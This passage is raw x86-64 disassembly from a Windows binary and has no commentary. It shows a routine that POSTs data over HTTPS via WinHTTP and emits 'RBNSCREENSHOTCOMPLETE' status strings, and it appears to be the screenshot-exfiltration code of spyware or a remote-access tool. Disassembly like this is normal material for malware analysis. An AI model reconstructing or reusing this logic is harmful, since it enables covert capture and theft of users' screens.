mov r8d, 0x1bb
xor r9d, r9d
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
test rax, rax
je 0x140010eea
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8, qword [rbp + 0x150]
lea rdx, str.POST
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov rdi, rax
test rax, rax
je 0x140010eea
mov dword [rsp + 0x58], 0x3300
mov r9d, 4
lea r8, [rsp + 0x58]
lea edx, [r9 + 0x1b]
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpSetOption]
imul ecx, r15d, 0xc800
xorps xmm0, xmm0
movups xmmword [rbp + 0x108], xmm0
mov qword [rbp + 0x118], r12
mov qword [rbp + 0x120], r12
cmp rbx, rcx
jb 0x140011e9e
mov r8d, r14d
sub rbx, rcx
cmp rbx, r8
cmovb r8, rbx
lea rdx, [rbp + 0x48]
cmp qword [rbp + 0x60], 0xf
cmova rdx, qword [rbp + 0x48]
add rdx, rcx
lea rcx, [rbp + 0x108]
call fcn.140026a60
nop
lea r9, [rbp + 0x108]
cmp qword [rbp + 0x120], 0xf
cmova r9, qword [rbp + 0x108]
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r14d
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
xor edx, edx
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
jne 0x140011a11
xorps xmm0, xmm0
movups xmmword [rbp + 0xe8], xmm0
lea ecx, [rax + 0x30]
call fcn.140054128
mov rdx, rax
mov qword [rbp + 0xe8], rax
mov qword [rbp + 0xf8], reloc.Cabinet.dll_CloseCompressor
mov qword [rbp + 0x100], 0x2f
movups xmm0, xmmword [str.There_is_no_result_from_request....]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140093390]
movups xmmword [rax + 0x10], xmm1
movzx ecx, word [0x1400933a0]
mov word [rax + 0x20], cx
movzx eax, byte [0x1400933a2]
mov byte [rdx + 0x22], al
mov byte [rdx + 0x23], 0
mov qword [rsp + 0x30], reloc.Cabinet.dll_CloseCompressor
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], CreateCompressor
lea r9, str.RBNSCREENSHOTNOCOMPLETE_
lea rcx, [rbp + 0xc8]
call fcn.140027b50
nop
mov rax, qword [0x1400a6130]
mov rcx, qword [rax]
mov rdi, qword [rcx + 0x10]
lea rax, [rbp + 0x128]
mov qword [rsp + 0x70], rax
lea rdx, [rbp + 0xc8]
lea rcx, [rbp + 0x128]
call fcn.140003a00
mov rbx, rax
lea rcx, [rbp + 0x220]
call fcn.140021a50
nop
cmp qword [0x1400a60c8], 7
lea rcx, [0x1400a60b0]
cmova rcx, qword [0x1400a60b0]
mov rax, qword [0x1400a60c0]
lea r9, [rcx + rax*2]
mov r8, rcx
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x220]
call fcn.140023880
nop
lea rcx, [rbp + 0x220]
call fcn.140021960
nop
mov r8, rbx
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x190]
call fcn.140004040
nop
mov rdx, rax
mov rcx, qword [0x1400a6130]
call rdi
nop
mov rdx, qword [rbp + 0x1a8]
cmp rdx, 0xf
jbe 0x14001175f
inc rdx
mov rcx, qword [rbp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011759
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011ea4
call fcn.140054120
nop
mov rdx, qword [rbp + 0xe0]
cmp rdx, 0xf
jbe 0x1400117a0
inc rdx
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001179b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011eaa
call fcn.140054120
mov qword [rbp + 0xd8], r12
mov qword [rbp + 0xe0], recv
mov byte [rbp + 0xc8], 0
mov rdx, qword [rbp + 0x100]
cmp rdx, 0xf
jbe 0x1400117fb
inc rdx
mov rcx, qword [rbp + 0xe8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400117f5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011eb0
call fcn.140054120
nop
mov rdx, qword [rbp + 0x120]
cmp rdx, 0xf
jbe 0x14001183c
inc rdx
mov rcx, qword [rbp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011837
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011eb6
call fcn.140054120
mov qword [rbp + 0x118], r12
mov qword [rbp + 0x120], recv
mov byte [rbp + 0x108], 0
mov rdx, qword [rbp + 0x60]
cmp rdx, 0xf
jbe 0x140011891
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001188b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011ebc
call fcn.140054120
nop
mov rdx, qword [rbp + 0x80]
cmp rdx, 0xf
jbe 0x1400118cf
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400118ca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011ec2
call fcn.140054120
mov qword [rbp + 0x78], r12
mov qword [rbp + 0x80], recv
mov byte [rbp + 0x68], 0
mov rdx, qword [rbp + 0x40]
cmp rdx, 7
jbe 0x140011922
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001191d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011ec8
call fcn.140054120
mov qword [rbp + 0x38], r12
mov qword [rbp + 0x40], 7
mov word [rbp + 0x28], r12w
mov rdx, qword [rbp + 0x20]
cmp rdx, 0xf
jbe 0x14001196e
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011969
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011ece
call fcn.140054120
mov qword [rbp + 0x18], r12
mov qword [rbp + 0x20], recv
mov byte [rbp + 8], 0
mov rdx, qword [rbp + 0xc0]
cmp rdx, 0xf
jbe 0x1400119c0
inc rdx
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400119ba
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011ed4
call fcn.140054120
nop
lea rcx, [rbp + 0x2a0]
call fcn.140021960
nop
mov rdx, qword [rsi + 0x18]
cmp rdx, 7
jbe 0x1400110a1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x14001109c
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140011e26
jmp 0x140011099
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.GDI32.dll_DeleteDC]
xorps xmm0, xmm0
movups xmmword [rbp + 0x170], xmm0
mov qword [rbp + 0x180], r12
mov qword [rbp + 0x188], r12
mov ecx, CloseCompressor
call fcn.140054128
mov rdx, rax
mov qword [rbp + 0x170], rax
mov qword [rbp + 0x180], reloc.WS2_32.dll_socket
mov qword [rbp + 0x188], CloseCompressor
movups xmm0, xmmword [str.RBNSCREENSHOTCOMPLETE_]
movups xmmword [rax], xmm0
mov ecx, dword [0x1400933d8]
mov dword [rax + 0x10], ecx
movzx ecx, word [0x1400933dc]
mov word [rax + 0x14], cx
movzx eax, byte [0x1400933de]
mov byte [rdx + 0x16], al
mov byte [rdx + 0x17], 0
mov rax, qword [0x1400a6130]
mov rcx, qword [rax]
mov rdi, qword [rcx + 0x10]
lea rax, [rbp + 0x128]
mov qword [rsp + 0x70], rax
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0x128]
call fcn.140003a00
mov rbx, rax
lea rcx, [rbp + 0x220]
call fcn.140021a50
nop
cmp qword [0x1400a60c8], 7
lea rcx, [0x1400a60b0]
cmova rcx, qword [0x1400a60b0]
mov rax, qword [0x1400a60c0]
lea r9, [rcx + rax*2]
mov r8, rcx
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x220]
call fcn.140023880
nop
lea rcx, [rbp + 0x220]
call fcn.140021960
nop
mov r8, rbx
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x190]
call fcn.140004040
nop
mov rdx, rax
mov rcx, qword [0x1400a6130]
call rdi
nop
mov rdx, qword [rbp + 0x1a8]
cmp rdx, 0xf
jbe 0x140011b73
inc rdx
mov rcx, qword [rbp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011b6d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011eda
call fcn.140054120
nop
mov rdx, qword [rbp + 0x188]
cmp rdx, 0xf
jbe 0x140011bb4
inc rdx
mov rcx, qword [rbp + 0x170]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011baf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011ee0
call fcn.140054120
mov qword [rbp + 0x180], r12
mov qword [rbp + 0x188], recv
mov byte [rbp + 0x170], 0
mov rdx, qword [rbp + 0x120]
cmp rdx, 0xf
jbe 0x140011c0e
inc rdx
mov rcx, qword [rbp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011c09
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011ee6
call fcn.140054120
mov qword [rbp + 0x118], r12
mov qword [rbp + 0x120], recv
mov byte [rbp + 0x108], 0
mov rdx, qword [rbp + 0x60]
cmp rdx, 0xf
jbe 0x140011c63
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011c5d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011eec
call fcn.140054120
nop
mov rdx, qword [rbp + 0x80]
cmp rdx, 0xf
jbe 0x140011ca1
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011c9c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011ef2
call fcn.140054120
mov qword [rbp + 0x78], r12
mov qword [rbp + 0x80], recv
mov byte [rbp + 0x68], 0
mov rdx, qword [rbp + 0x40]
cmp rdx, 7
jbe 0x140011cf4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011cef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011ef8
call fcn.140054120
mov qword [rbp + 0x38], r12
mov qword [rbp + 0x40], 7
mov word [rbp + 0x28], r12w
mov rdx, qword [rbp + 0x20]
cmp rdx, 0xf
jbe 0x140011d40
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011d3b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011efe
call fcn.140054120
mov qword [rbp + 0x18], r12
mov qword [rbp + 0x20], recv
mov byte [rbp + 8], 0
mov rdx, qword [rbp + 0xc0]
cmp rdx, 0xf
jbe 0x140011d92
inc rdx
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011d8c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011e1a
call fcn.140054120
nop
lea rcx, [rbp + 0x2a0]
call fcn.140021960
nop
mov rdx, qword [rsi + 0x18]
cmp rdx, 7
jbe 0x140011dda
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x140011dd5
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140011e2c
mov rcx, r8
call fcn.140054120
mov word [rsi], r12w
mov qword [rsi + 0x10], r12
mov qword [rsi + 0x18], 7
mov rcx, qword [rbp + 0x320]
xor rcx, rsp
call fcn.140054100
lea r11, [rsp + 0x430]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14006a6c0
nop
call fcn.14006a6c0
int3
call fcn.14006a6c0
int3
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
int3
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.140024c00
int3
call fcn.140024c00
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
int3